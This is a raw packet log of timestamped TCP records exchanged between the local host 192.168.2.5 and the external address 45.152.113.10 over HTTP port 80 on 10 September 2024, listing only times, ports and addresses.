Sep 10, 2024 19:36:08.613462925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613471031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613486052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613511086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613532066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613543987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613554001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613564014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613575935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613584042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613603115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613617897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613682032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613692999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613703012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613714933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613724947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613729954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613735914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613748074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613759995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613778114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613789082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613992929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614003897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614015102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614033937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614042044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614044905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614056110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614065886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614068031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614075899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614087105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614095926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614097118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614108086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614123106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614125967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614136934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614140987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614147902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614159107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614164114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614170074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614187002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614192963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614197969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614207983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614212036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614223957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614228010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614239931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614249945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614255905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614262104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614278078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614284992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614293098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614299059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614299059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614308119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614317894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614324093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614325047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614330053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614339113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614343882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614346027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614356041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614370108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614387989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614460945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614474058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614485979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614496946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614511967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614521027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614526033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614533901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614553928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614569902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614655018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614666939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614676952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614687920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614701033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614701986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614712954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614723921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614733934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614736080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614748001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614759922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614763021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614774942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614779949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614785910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.614793062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.614825964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698611021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698623896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698636055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698679924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698692083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698704004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698714972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698715925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698725939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698743105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698753119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698757887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698764086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698772907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698785067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698792934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698796988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698807955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698811054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698837996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698859930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698929071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698940039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698951006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698961020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698971987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698971987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698983908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.698987961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.698997021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699014902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699024916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699049950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699079990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699091911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699103117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699109077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699115038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699120998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699121952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699126959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699137926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699141026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699151039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699158907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699161053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699187994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699206114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699238062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699249029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699268103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699279070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699280977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699294090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699301004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699305058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699306965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699312925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699318886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699332952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699358940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699496031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699507952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699517965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699527979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699538946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699539900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699551105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699562073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699563980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699573040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699584007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699589014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699595928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699608088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699609041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.699625969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.699651957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.760242939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.766237020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893443108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893461943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893472910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893485069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893500090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893516064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893526077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893536091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893548012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893558025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893569946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893615961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893615961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893615961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893616915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893663883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893676996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893687010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893698931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893704891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893704891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893733025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893748045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893824100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893835068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893843889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893855095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893866062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.893867970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893887043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893887043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.893913984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894140959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894151926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894162893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894184113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894191980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894191980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894195080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894207001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894217968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894222021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894231081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894246101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894269943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894340038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894351006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894361973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894372940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894378901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894382954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894395113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894403934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894404888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894416094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894426107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894427061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894440889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894445896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894464970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894488096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894529104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894541979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894551992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894561052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894571066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894573927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894583941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894586086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894594908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894606113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894625902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894625902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894663095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894665003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894676924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894687891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894700050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894704103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894711018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894721031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894721985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894732952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894736052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894753933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894778967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894798994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894810915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894820929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894830942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894840956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894841909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894853115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894864082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894867897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894889116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894898891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.894967079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894979000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.894989014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895008087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895020008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895118952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895131111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895140886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895165920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895175934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895194054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895442963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895454884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895466089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895476103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895486116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895487070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895495892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895504951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895508051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895519018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895528078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895530939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895540953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895548105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895551920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895555973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895579100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895601034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895602942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895616055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895625114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895637035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895646095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895648003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895658970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895663023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895669937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895679951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895694017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895698071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895698071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895704031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895714998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895737886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895749092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895755053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895766020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895776033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895797014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895817041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.895946980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895957947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895967960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895979881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.895987034 CEST	49707	80	192.168.2.5	45.152.113.10
